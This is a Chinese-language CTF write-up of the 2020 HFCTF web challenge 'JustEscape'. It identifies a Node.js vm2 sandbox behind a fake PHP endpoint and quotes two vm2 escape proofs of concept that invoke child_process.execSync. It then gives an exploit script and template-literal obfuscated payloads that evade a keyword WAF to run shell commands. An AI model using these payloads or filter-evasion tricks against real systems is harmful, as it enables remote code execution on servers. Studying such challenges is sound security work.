美文网首页CTF
2020-虎符网络安全赛道-Web-JustEscape

2020-虎符网络安全赛道-Web-JustEscape

作者: 余生似梦 | 来源:发表于2020-04-24 13:41 被阅读0次

    复现环境:

    https://buuoj.cn/challenges#[HFCTF2020]JustEscape
    https://www.ctfhub.com/#/challenge

    解题过程:

    访问题目,根目录页面存在两个代码示例,同时注意到两个提示,注意编码真的是PHP嘛

    数学运算

    code: (2+6-7)/3
    run online: /run.php?code=(2%2b6-7)/3;
    Ouput: 0.3333333333333333

    注意编码 =.=

    时间戳
    code: new Date();
    run online: /run.php?code=new%20Date();
    Ouput: Fri Nov 22 2019 15:39:22 GMT+0800 (China Standard Time)

    真的是 PHP 嘛

    直接访问这个接口/run.php?code=,发现源码是php的利用的是eval函数,考虑到上面提示这个php存疑,这个函数再PHP和Node.js都有

    <?php
    if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
        $code = $_GET['code'];
        echo eval(code);
    } else {
        highlight_file(__FILE__);
    }
    ?>
    

    多这个接口进行测试,运行代码 run.php?code=Error().stack 根据报错信息Node.js,
    js中捕获异常堆栈信息—Error.stack
    https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md
    发现是 vm2 的沙盒逃逸问题
    Node.js 常见漏洞学习与总结

    Error
        at vm.js:1:1
        at Script.runInContext (vm.js:131:20)
        at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
        at /app/server.js:51:33
        at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
        at next (/app/node_modules/express/lib/router/route.js:137:13)
        at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
        at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
        at /app/node_modules/express/lib/router/index.js:281:22
        at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
    

    https://github.com/patriksimek/vm2/issues/225 搜索可得 vm2 最新沙盒逃逸 poc

    One can break out of the sandbox via:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        TypeError.prototype.get_process = f=>f.constructor("return process")();
        try{
            Object.preventExtensions(Buffer.from("")).a = 1;
        }catch(e){
            return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    And another more game breaking one:

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        try{
            Buffer.from(new Proxy({}, {
                getOwnPropertyDescriptor(){
                    throw f=>f.constructor("return process")();
                }
            }));
        }catch(e){
            return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
    

    但在直接使用时发现存在 waf:

    Happy Hacking WAF

    探测 waf 发现程序过滤了以下关键字:

    ['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

    绕过 waf,并根据 poc 改写 exp.py ,获取 flag

    import requests
    
    base_url = "http://x"
    url = base_url + '/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat%20flag`)[`toString`]();%20}%20})()'
    response = requests.get(url)
    print(response.text)
    
    

    上面是官方writeup给的方法,构造的绕过不太好理解,是通过下面方式构造的
    f.constructor("return process")();
    f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();

    我在网上又看到了另一种绕过方式,比如这里 prototype 被过滤了,我们可以这样书写

    `${`${`prototyp`}e`}`
    

    这样来改写我们的 payload,将所有被过滤的关键词用这种方式转换,同时结合数组调用来绕过过滤保证正确调用。

    Payload:

    (function (){
        TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
        try{
            Object.preventExtensions(Buffer.from(``)).a = 1;
        }catch(e){
            return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
        }
    })()
    

    提交获得flag

    GET flag

    相关文章

      网友评论

        本文标题:2020-虎符网络安全赛道-Web-JustEscape

        本文链接:https://www.haomeiwen.com/subject/gzttwhtx.html